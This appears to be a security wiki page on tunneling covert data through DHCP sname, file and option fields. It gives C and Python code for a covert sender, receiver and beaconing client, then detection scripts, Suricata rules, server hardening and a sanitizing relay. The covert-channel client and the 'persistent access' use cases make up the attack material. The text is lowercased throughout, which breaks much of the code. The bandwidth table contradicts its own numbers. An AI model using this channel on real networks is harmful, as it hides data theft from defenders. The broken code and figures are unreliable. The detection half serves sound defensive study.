dhcp option field tunneling
on this page
dhcp option field tunneling exploits the sname field (64 bytes), file field (128 bytes), and options field (variable length) in dhcp messages to achieve covert communication with ~192 bytes per dhcp exchange.
technical description
dhcp (dynamic host configuration protocol) provides multiple fields that can carry covert data while maintaining protocol compliance. these fields are often not closely monitored, making dhcp an attractive vector for covert channels.
exploitation targets:
- sname field: 64-byte server name field
- file field: 128-byte boot filename field
- options field: variable-length options with custom data
- vendor class identifier: vendor-specific information
- client hostname: client-provided hostname field
dhcp packet structure
basic dhcp message format
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| op (1) | htype (1) | hlen (1) | hops (1) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| xid (4) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| secs (2) | flags (2) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ciaddr (4) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| yiaddr (4) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| siaddr (4) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| giaddr (4) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
| chaddr (16) |
| |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
| sname (64) |
+ +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
| file (128) |
+ +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
| options (variable) |
+ +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
covert capacity breakdown
field | size | typical usage | covert potential |
---|---|---|---|
sname | 64 bytes | server hostname | high - often empty |
file | 128 bytes | boot filename | high - rarely used |
options | variable | dhcp options | medium - scrutinized |
hostname | variable | client name | medium - logged |
vendor class | variable | vendor info | low - filtered |
implementation: hide_dchp
overview
hide_dchp (https://github.com/rubenrdp/hide_dchp) exploits sname and file fields:
- client-server authentication via hostnames
- ~192 bytes capacity per dhcp exchange
- frequency limited by lease renewal rates
- operates during normal dhcp transactions
installation
# clone repository
git clone https://github.com/rubenrdp/hide_dchp.git
cd hide_dchp
# compile
gcc -o hide_dhcp hide_dhcp.c -lpcap
# install dependencies (ubuntu/debian)
sudo apt install libpcap-dev build-essential
server setup
// hide_dhcp server component
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pcap.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
// dhcp message structure
struct dhcp_packet {
uint8_t op;
uint8_t htype;
uint8_t hlen;
uint8_t hops;
uint32_t xid;
uint16_t secs;
uint16_t flags;
uint32_t ciaddr;
uint32_t yiaddr;
uint32_t siaddr;
uint32_t giaddr;
uint8_t chaddr[16];
char sname[64]; // covert channel 1
char file[128]; // covert channel 2
uint8_t options[312];
};
void extract_covert_data(struct dhcp_packet *dhcp) {
printf("covert data in sname: ");
for (int i = 0; i < 64 && dhcp->sname[i]; i++) {
printf("%c", dhcp->sname[i]);
}
printf("\n");
printf("covert data in file: ");
for (int i = 0; i < 128 && dhcp->file[i]; i++) {
printf("%c", dhcp->file[i]);
}
printf("\n");
}
void packet_handler(u_char *user_data, const struct pcap_pkthdr *pkthdr,
const u_char *packet) {
struct ip *ip_header = (struct ip *)(packet + 14); // skip ethernet
struct udphdr *udp_header = (struct udphdr *)(packet + 14 + ip_header->ip_hl * 4);
// check for dhcp traffic (port 67/68)
if (ntohs(udp_header->uh_dport) == 67 || ntohs(udp_header->uh_sport) == 67) {
struct dhcp_packet *dhcp = (struct dhcp_packet *)(
packet + 14 + ip_header->ip_hl * 4 + sizeof(struct udphdr)
);
// check dhcp message type (discover/request)
if (dhcp->op == 1) { // bootrequest
extract_covert_data(dhcp);
}
}
}
int main(int argc, char *argv[]) {
char errbuf[pcap_errbuf_size];
pcap_t *handle;
// open network interface for capture
handle = pcap_open_live("eth0", bufsiz, 1, 1000, errbuf);
if (handle == null) {
fprintf(stderr, "error opening device: %s\n", errbuf);
return 1;
}
// set filter for dhcp traffic
struct bpf_program filter;
pcap_compile(handle, &filter, "udp port 67 or udp port 68", 0, pcap_netmask_unknown);
pcap_setfilter(handle, &filter);
printf("listening for dhcp covert channels...\n");
pcap_loop(handle, -1, packet_handler, null);
pcap_close(handle);
return 0;
}
client implementation
# dhcp covert channel client
import socket
import struct
import time
import random
class dhcpcovertclient:
def __init__(self, interface='eth0'):
self.interface = interface
self.client_mac = self.get_mac_address()
def get_mac_address(self):
"""get interface mac address"""
import uuid
return ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff)
for elements in range(0, 2*6, 2)][::-1])
def create_dhcp_discover(self, covert_sname, covert_file):
"""create dhcp discover packet with covert data"""
# dhcp header
op = 1 # bootrequest
htype = 1 # ethernet
hlen = 6 # mac address length
hops = 0
xid = random.randint(0, 0xffffffff)
secs = 0
flags = 0x8000 # broadcast flag
ciaddr = 0
yiaddr = 0
siaddr = 0
giaddr = 0
# mac address (16 bytes, padded)
chaddr = bytes.fromhex(self.client_mac.replace(':', ''))
chaddr += b'\x00' * (16 - len(chaddr))
# covert data fields
sname = covert_sname.encode()[:64].ljust(64, b'\x00')
file_field = covert_file.encode()[:128].ljust(128, b'\x00')
# dhcp magic cookie
magic_cookie = struct.pack('!i', 0x63825363)
# dhcp options
options = b''
# option 53: dhcp message type (discover = 1)
options += struct.pack('!bbb', 53, 1, 1)
# option 55: parameter request list
options += struct.pack('!bb', 55, 4)
options += struct.pack('!bbbb', 1, 3, 6, 15) # subnet, router, dns, domain
# option 12: hostname (additional covert channel)
hostname = f"covert-{random.randint(1000, 9999)}"
options += struct.pack('!bb', 12, len(hostname))
options += hostname.encode()
# end option
options += struct.pack('!b', 255)
# pad options to minimum size
options = options.ljust(64, b'\x00')
# build complete packet
packet = struct.pack('!bbbbihhi4i',
op, htype, hlen, hops, xid, secs, flags,
ciaddr, yiaddr, siaddr, giaddr)
packet += chaddr
packet += sname
packet += file_field
packet += magic_cookie
packet += options
return packet
def send_covert_dhcp(self, server_ip, covert_message):
"""send covert data via dhcp discover"""
# split message into sname and file portions
sname_data = covert_message[:64]
file_data = covert_message[64:192] if len(covert_message) > 64 else ""
# create dhcp packet
packet = self.create_dhcp_discover(sname_data, file_data)
# create raw socket
sock = socket.socket(socket.af_inet, socket.sock_dgram)
sock.setsockopt(socket.sol_socket, socket.so_broadcast, 1)
try:
# send to dhcp server
sock.sendto(packet, (server_ip, 67))
print(f"sent covert dhcp packet: {len(covert_message)} bytes")
except exception as e:
print(f"failed to send packet: {e}")
finally:
sock.close()
def continuous_beacon(self, server_ip, messages, interval=300):
"""send periodic covert dhcp messages"""
for i, message in enumerate(messages):
print(f"sending message {i+1}/{len(messages)}")
self.send_covert_dhcp(server_ip, message)
if i < len(messages) - 1:
time.sleep(interval) # dhcp lease renewal interval
# usage
client = dhcpcovertclient()
messages = [
"first covert message via dhcp fields",
"second message with more intelligence data",
"final transmission through dhcp covert channel"
]
client.continuous_beacon('192.168.1.1', messages, interval=300)
option field exploitation
# dhcp options covert channel
import struct
class dhcpoptionscovert:
def __init__(self):
# custom option codes (224-254 are site-specific)
self.covert_option_codes = list(range(224, 254))
def encode_in_options(self, data):
"""encode data in dhcp options"""
options = b''
# split data into chunks for different option codes
chunk_size = 255 # max option length
data_chunks = [data[i:i+chunk_size] for i in range(0, len(data), chunk_size)]
for i, chunk in enumerate(data_chunks):
if i >= len(self.covert_option_codes):
break # too much data
option_code = self.covert_option_codes[i]
option_length = len(chunk)
# option format: code (1 byte) + length (1 byte) + data
options += struct.pack('!bb', option_code, option_length)
options += chunk
return options
def decode_from_options(self, options_data):
"""decode covert data from dhcp options"""
covert_data = b''
i = 0
while i < len(options_data):
if i + 1 >= len(options_data):
break
option_code = options_data[i]
option_length = options_data[i + 1]
# check if this is a covert option
if option_code in self.covert_option_codes:
if i + 2 + option_length <= len(options_data):
covert_data += options_data[i + 2:i + 2 + option_length]
i += 2 + option_length
return covert_data
def create_covert_dhcp_options(self, covert_data):
"""create complete dhcp options with covert data"""
options = b''
# standard dhcp options first
# option 53: dhcp message type
options += struct.pack('!bbb', 53, 1, 1) # discover
# option 61: client identifier
client_id = b'\x01\x00\x11\x22\x33\x44\x55' # ethernet + mac
options += struct.pack('!bb', 61, len(client_id))
options += client_id
# embed covert data
covert_options = self.encode_in_options(covert_data)
options += covert_options
# option 55: parameter request list (legitimate)
req_params = [1, 3, 6, 15, 28, 51, 58, 59]
options += struct.pack('!bb', 55, len(req_params))
options += struct.pack('!' + 'b' * len(req_params), *req_params)
# end option
options += struct.pack('!b', 255)
return options
# usage
covert = dhcpoptionscovert()
covert_message = b"secret data hidden in dhcp options field"
options = covert.create_covert_dhcp_options(covert_message)
decoded = covert.decode_from_options(options)
print(f"original: {covert_message}")
print(f"decoded: {decoded}")
traffic analysis
dhcp packet inspection
# analyze dhcp traffic for covert channels
from scapy.all import *
def analyze_dhcp_covert_traffic(pcap_file):
"""analyze dhcp packets for covert channel indicators"""
packets = rdpcap(pcap_file)
dhcp_packets = []
for pkt in packets:
if pkt.haslayer(dhcp):
dhcp_packets.append(pkt)
print(f"found {len(dhcp_packets)} dhcp packets")
# analyze sname and file fields
sname_usage = []
file_usage = []
unusual_options = []
for pkt in dhcp_packets:
dhcp_layer = pkt[dhcp]
# check sname field (normally empty or legitimate server name)
if hasattr(dhcp_layer, 'sname') and dhcp_layer.sname:
sname = dhcp_layer.sname.decode('utf-8', errors='ignore')
if not is_legitimate_hostname(sname):
sname_usage.append(sname)
# check file field (normally empty or boot filename)
if hasattr(dhcp_layer, 'file') and dhcp_layer.file:
file_field = dhcp_layer.file.decode('utf-8', errors='ignore')
if not is_legitimate_filename(file_field):
file_usage.append(file_field)
# analyze options
if hasattr(dhcp_layer, 'options'):
for option in dhcp_layer.options:
if isinstance(option, tuple) and len(option) == 2:
option_code, option_data = option
# check for unusual option codes
if option_code >= 224 and option_code <= 254:
unusual_options.append((option_code, option_data))
# report findings
if sname_usage:
print(f"suspicious sname fields: {len(sname_usage)}")
for sname in sname_usage[:5]: # show first 5
print(f" {repr(sname)}")
if file_usage:
print(f"suspicious file fields: {len(file_usage)}")
for file_field in file_usage[:5]:
print(f" {repr(file_field)}")
if unusual_options:
print(f"unusual dhcp options: {len(unusual_options)}")
for code, data in unusual_options[:5]:
print(f" option {code}: {len(data)} bytes")
def is_legitimate_hostname(hostname):
"""check if hostname looks legitimate"""
import re
# basic hostname pattern
hostname_pattern = re.compile(r'^[a-za-z0-9]([a-za-z0-9-]*[a-za-z0-9])?$')
if not hostname_pattern.match(hostname):
return false
# check for high entropy (possible base64)
entropy = calculate_entropy(hostname)
return entropy < 4.0 # legitimate hostnames have lower entropy
def is_legitimate_filename(filename):
"""check if filename looks legitimate"""
import re
# common boot file patterns
boot_patterns = [
r'^pxelinux\.0$',
r'^bootmgr\.exe$',
r'^[a-za-z0-9_]+\.pxe$',
r'^[a-za-z0-9_/]+\.img$'
]
for pattern in boot_patterns:
if re.match(pattern, filename, re.ignorecase):
return true
# empty is also legitimate
return filename.strip() == ''
def calculate_entropy(text):
"""calculate shannon entropy"""
from collections import counter
import math
if not text:
return 0
counts = counter(text)
probs = [count/len(text) for count in counts.values()]
return -sum(p * math.log2(p) for p in probs if p > 0)
# usage
analyze_dhcp_covert_traffic('dhcp_traffic.pcap')
statistical analysis
# dhcp covert channel statistical detection
import numpy as np
from collections import defaultdict
class dhcpcovertdetector:
def __init__(self):
self.client_patterns = defaultdict(lambda: {
'requests': 0,
'sname_entropy': [],
'file_entropy': [],
'option_codes': set(),
'request_intervals': [],
'last_request': 0
})
def analyze_dhcp_packet(self, packet, timestamp):
"""analyze individual dhcp packet"""
if not packet.haslayer(dhcp):
return
dhcp_layer = packet[dhcp]
client_mac = packet[ethernet].src
# update client statistics
client_stats = self.client_patterns[client_mac]
client_stats['requests'] += 1
# track request intervals
if client_stats['last_request'] > 0:
interval = timestamp - client_stats['last_request']
client_stats['request_intervals'].append(interval)
client_stats['last_request'] = timestamp
# analyze sname field
if hasattr(dhcp_layer, 'sname') and dhcp_layer.sname:
entropy = self.calculate_entropy(dhcp_layer.sname.decode('utf-8', errors='ignore'))
client_stats['sname_entropy'].append(entropy)
# analyze file field
if hasattr(dhcp_layer, 'file') and dhcp_layer.file:
entropy = self.calculate_entropy(dhcp_layer.file.decode('utf-8', errors='ignore'))
client_stats['file_entropy'].append(entropy)
# track option codes
if hasattr(dhcp_layer, 'options'):
for option in dhcp_layer.options:
if isinstance(option, tuple) and len(option) == 2:
client_stats['option_codes'].add(option[0])
# check for anomalies
self.check_client_anomalies(client_mac)
def check_client_anomalies(self, client_mac):
"""check for anomalous dhcp behavior"""
stats = self.client_patterns[client_mac]
anomalies = []
# high entropy in sname/file fields
if stats['sname_entropy']:
avg_sname_entropy = np.mean(stats['sname_entropy'])
if avg_sname_entropy > 4.0:
anomalies.append(f'high sname entropy: {avg_sname_entropy:.2f}')
if stats['file_entropy']:
avg_file_entropy = np.mean(stats['file_entropy'])
if avg_file_entropy > 4.0:
anomalies.append(f'high file entropy: {avg_file_entropy:.2f}')
# unusual option codes
unusual_options = [code for code in stats['option_codes']
if 224 <= code <= 254]
if unusual_options:
anomalies.append(f'site-specific options: {unusual_options}')
# frequent requests
if len(stats['request_intervals']) > 5:
avg_interval = np.mean(stats['request_intervals'][-10:])
if avg_interval < 60: # less than 1 minute between requests
anomalies.append(f'frequent requests: {avg_interval:.1f}s interval')
# too many total requests
if stats['requests'] > 100:
anomalies.append(f'excessive requests: {stats["requests"]}')
if anomalies:
print(f"dhcp anomalies from {client_mac}:")
for anomaly in anomalies:
print(f" - {anomaly}")
def calculate_entropy(self, text):
"""calculate shannon entropy"""
from collections import counter
import math
if not text:
return 0
counts = counter(text)
probs = [count/len(text) for count in counts.values()]
return -sum(p * math.log2(p) for p in probs if p > 0)
# usage
detector = dhcpcovertdetector()
# detector.analyze_dhcp_packet(packet, timestamp)
detection methods
network monitoring
# monitor dhcp traffic
tcpdump -i eth0 -w dhcp_capture.pcap "port 67 or port 68"
# analyze dhcp packets with tshark
tshark -r dhcp_capture.pcap -y dhcp -t fields \
-e dhcp.option.hostname -e dhcp.option.vendor_class_id -e bootp.sname -e bootp.file
# monitor dhcp lease frequency
tail -f /var/log/dhcp.log | grep "dhcpdiscover\|dhcprequest"
dhcp server logging
# isc dhcp server logging
echo "log-facility local6;" >> /etc/dhcp/dhcpd.conf
echo "local6.* /var/log/dhcp.log" >> /etc/rsyslog.conf
# detailed dhcp logging
cat >> /etc/dhcp/dhcpd.conf << eof
log-facility local6;
# log all dhcp transactions
if exists dhcp-message-type {
log(info, concat("dhcp: ",
binary-to-ascii(16, 8, ":", hardware),
" ", host-decl-name,
" sname: ", option boot-server-name,
" file: ", option bootfile-name));
}
eof
systemctl restart isc-dhcp-server
systemctl restart rsyslog
detection rules
# suricata rules for dhcp covert channels
alert udp any any -> any 67 (
msg:"dhcp suspicious sname field";
content:"|01|"; offset:0; depth:1; # bootrequest
byte_test:1,!&,0,236; byte_test:1,!&,0,237; # sname not null
threshold: type limit, track by_src, seconds 300, count 5;
sid:1000050;
)
alert udp any any -> any 67 (
msg:"dhcp suspicious file field";
content:"|01|"; offset:0; depth:1;
byte_test:1,!&,0,108; byte_test:1,!&,0,109; # file not null
threshold: type limit, track by_src, seconds 300, count 5;
sid:1000051;
)
alert udp any any -> any 67 (
msg:"dhcp site-specific options";
content:"|63 82 53 63|"; # dhcp magic cookie
byte_test:1,>=,224,0,relative; byte_test:1,<=,254,0,relative;
sid:1000052;
)
countermeasures
dhcp server hardening
# isc dhcp server security configuration
# /etc/dhcp/dhcpd.conf
# ignore bootp requests (reduces attack surface)
ignore bootp;
# limit lease time
default-lease-time 600;
max-lease-time 7200;
# disable ping check (reduces reconnaissance)
ping-check false;
# log all requests
log-facility local6;
# restrict client behavior
deny unknown-clients; # only allow known mac addresses
# subnet configuration with restrictions
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.100 192.168.1.200;
option routers 192.168.1.1;
option domain-name-servers 192.168.1.1;
# ignore client-provided options that could carry covert data
ignore client-updates;
# override client hostname attempts
option host-name "workstation";
}
field sanitization
# dhcp field sanitization proxy
import struct
import socket
class dhcpsanitizer:
def __init__(self):
self.allowed_hostnames = set(['workstation', 'laptop', 'desktop'])
self.allowed_boot_files = set(['pxelinux.0', 'bootmgr.exe'])
def sanitize_dhcp_packet(self, packet_data):
"""sanitize dhcp packet fields"""
if len(packet_data) < 236: # minimum dhcp packet size
return packet_data
# parse dhcp header
packet = bytearray(packet_data)
# clear sname field (bytes 44-107)
packet[44:108] = b'\x00' * 64
# clear file field (bytes 108-235)
packet[108:236] = b'\x00' * 128
# sanitize options (bytes 240+)
if len(packet) > 240:
sanitized_options = self.sanitize_dhcp_options(packet[240:])
# rebuild packet with sanitized options
packet = packet[:240] + sanitized_options
return bytes(packet)
def sanitize_dhcp_options(self, options_data):
"""sanitize dhcp options"""
sanitized = bytearray()
i = 0
while i < len(options_data):
if i >= len(options_data):
break
option_code = options_data[i]
# handle end option
if option_code == 255:
sanitized.append(255)
break
# handle pad option
if option_code == 0:
sanitized.append(0)
i += 1
continue
# handle options with length
if i + 1 >= len(options_data):
break
option_length = options_data[i + 1]
# skip site-specific options (224-254)
if 224 <= option_code <= 254:
print(f"blocked site-specific option {option_code}")
i += 2 + option_length
continue
# allow standard options
if option_code in [1, 3, 6, 12, 15, 51, 53, 54, 58, 59, 61]:
if i + 2 + option_length <= len(options_data):
# sanitize hostname option (12)
if option_code == 12:
sanitized.append(option_code)
sanitized.append(10) # fixed length
sanitized.extend(b'workstation\x00')
else:
# copy option as-is
sanitized.extend(options_data[i:i + 2 + option_length])
i += 2 + option_length
else:
# skip unknown options
i += 2 + option_length
return bytes(sanitized)
# integration with dhcp relay
def dhcp_relay_with_sanitization():
"""dhcp relay that sanitizes packets"""
sanitizer = dhcpsanitizer()
# create sockets
client_sock = socket.socket(socket.af_inet, socket.sock_dgram)
client_sock.bind(('0.0.0.0', 67))
server_sock = socket.socket(socket.af_inet, socket.sock_dgram)
dhcp_server = '192.168.1.1'
print("dhcp sanitization relay active")
while true:
try:
# receive from client
data, addr = client_sock.recvfrom(1024)
# sanitize packet
sanitized_data = sanitizer.sanitize_dhcp_packet(data)
print(f"sanitized dhcp packet from {addr}")
# forward to server
server_sock.sendto(sanitized_data, (dhcp_server, 67))
# receive response from server
response, _ = server_sock.recvfrom(1024)
# forward response to client
client_sock.sendto(response, addr)
except exception as e:
print(f"relay error: {e}")
# dhcp_relay_with_sanitization()
monitoring implementation
# real-time dhcp covert channel monitoring
import asyncio
import socket
from scapy.all import *
class dhcpcovertmonitor:
def __init__(self, interface='eth0'):
self.interface = interface
self.client_stats = {}
async def start_monitoring(self):
"""start real-time dhcp monitoring"""
def packet_handler(packet):
if packet.haslayer(dhcp):
self.analyze_dhcp_packet(packet)
print("starting dhcp covert channel monitoring")
sniff(iface=self.interface, prn=packet_handler,
filter="udp port 67 or udp port 68")
def analyze_dhcp_packet(self, packet):
"""analyze individual dhcp packet for covert indicators"""
dhcp_layer = packet[dhcp]
client_mac = packet[ethernet].src
# initialize client tracking
if client_mac not in self.client_stats:
self.client_stats[client_mac] = {
'packet_count': 0,
'sname_anomalies': 0,
'file_anomalies': 0,
'option_anomalies': 0,
'first_seen': time.time()
}
stats = self.client_stats[client_mac]
stats['packet_count'] += 1
# check sname field
if hasattr(dhcp_layer, 'sname') and dhcp_layer.sname:
if self.is_suspicious_field(dhcp_layer.sname.decode('utf-8', errors='ignore')):
stats['sname_anomalies'] += 1
print(f"suspicious sname from {client_mac}: {repr(dhcp_layer.sname)}")
# check file field
if hasattr(dhcp_layer, 'file') and dhcp_layer.file:
if self.is_suspicious_field(dhcp_layer.file.decode('utf-8', errors='ignore')):
stats['file_anomalies'] += 1
print(f"suspicious file from {client_mac}: {repr(dhcp_layer.file)}")
# check options
if hasattr(dhcp_layer, 'options'):
for option in dhcp_layer.options:
if isinstance(option, tuple) and len(option) == 2:
option_code, option_data = option
if 224 <= option_code <= 254:
stats['option_anomalies'] += 1
print(f"site-specific option {option_code} from {client_mac}")
# alert on multiple anomalies
total_anomalies = (stats['sname_anomalies'] + stats['file_anomalies'] +
stats['option_anomalies'])
if total_anomalies >= 3:
print(f"alert: multiple dhcp anomalies from {client_mac}")
print(f" sname: {stats['sname_anomalies']}, file: {stats['file_anomalies']}, options: {stats['option_anomalies']}")
def is_suspicious_field(self, field_data):
"""check if field data looks suspicious"""
if not field_data.strip():
return false
# check entropy
entropy = self.calculate_entropy(field_data)
if entropy > 4.0:
return true
# check for base64-like patterns
import re
if re.match(r'^[a-za-z0-9+/]+=*$', field_data) and len(field_data) > 10:
return true
# check for hex patterns
if re.match(r'^[0-9a-f]+$', field_data, re.ignorecase) and len(field_data) > 16:
return true
return false
def calculate_entropy(self, text):
"""calculate shannon entropy"""
from collections import counter
import math
if not text:
return 0
counts = counter(text)
probs = [count/len(text) for count in counts.values()]
return -sum(p * math.log2(p) for p in probs if p > 0)
# usage
monitor = dhcpcovertmonitor('eth0')
# asyncio.run(monitor.start_monitoring())
advantages and limitations
advantages
- dhcp traffic is legitimate and expected
- multiple fields available for data hiding
- good capacity (~192 bytes per transaction)
- frequency limited by lease renewal (natural rate limiting)
- often not closely monitored
- works during normal network operations
limitations
- frequency limited by dhcp lease renewal rates
- dhcp servers may log transactions
- field sanitization can block covert channels
- requires network access during dhcp exchanges
- detection possible through field analysis
- limited to dhcp-enabled networks
performance metrics
capacity analysis
field combination | capacity | frequency | effective rate |
---|---|---|---|
sname only | 64 bytes | 1/lease time | ~0.2 bytes/min |
file only | 128 bytes | 1/lease time | ~0.4 bytes/min |
sname + file | 192 bytes | 1/lease time | ~0.6 bytes/min |
options only | 200+ bytes | 1/lease time | ~0.7 bytes/min |
full exploitation | 400+ bytes | 1/lease time | ~1.3 bytes/min |
*assuming 5-minute lease renewal intervals
timing considerations
# dhcp timing analysis
import time
def calculate_dhcp_bandwidth(payload_size, lease_time_seconds):
"""calculate effective bandwidth for dhcp covert channel"""
# account for dhcp overhead
dhcp_overhead = 236 # basic dhcp packet size
total_packet_size = dhcp_overhead + payload_size
# calculate bits per second
bits_per_packet = payload_size * 8
packets_per_second = 1 / lease_time_seconds
bandwidth_bps = bits_per_packet * packets_per_second
bandwidth_kbps = bandwidth_bps / 1000
return {
'bandwidth_bps': bandwidth_bps,
'bandwidth_kbps': bandwidth_kbps,
'packets_per_hour': packets_per_second * 3600,
'bytes_per_hour': payload_size * packets_per_second * 3600
}
# example calculations
standard_lease = calculate_dhcp_bandwidth(192, 300) # 5-minute leases
short_lease = calculate_dhcp_bandwidth(192, 60) # 1-minute leases
long_lease = calculate_dhcp_bandwidth(192, 3600) # 1-hour leases
print("dhcp covert channel bandwidth analysis:")
print(f"5-min leases: {standard_lease['bandwidth_bps']:.2f} bps ({standard_lease['bytes_per_hour']:.1f} bytes/hour)")
print(f"1-min leases: {short_lease['bandwidth_bps']:.2f} bps ({short_lease['bytes_per_hour']:.1f} bytes/hour)")
print(f"1-hr leases: {long_lease['bandwidth_bps']:.2f} bps ({long_lease['bytes_per_hour']:.1f} bytes/hour)")
real-world applications
network reconnaissance
- initial network discovery during dhcp negotiation
- passive collection of network configuration
- identifying dhcp server capabilities
persistent access
- maintaining covert communication during normal operations
- exchanging small amounts of critical intelligence
- coordination signals for other attack phases
testing and research
- network security assessments
- covert channel capacity studies
- dhcp protocol analysis
references
- rfc 2131: dynamic host configuration protocol
- rfc 2132: dhcp options and bootp vendor extensions
- rfc 3046: dhcp relay agent information option
- “dhcp security considerations” - ietf network working group
- isc dhcp server documentation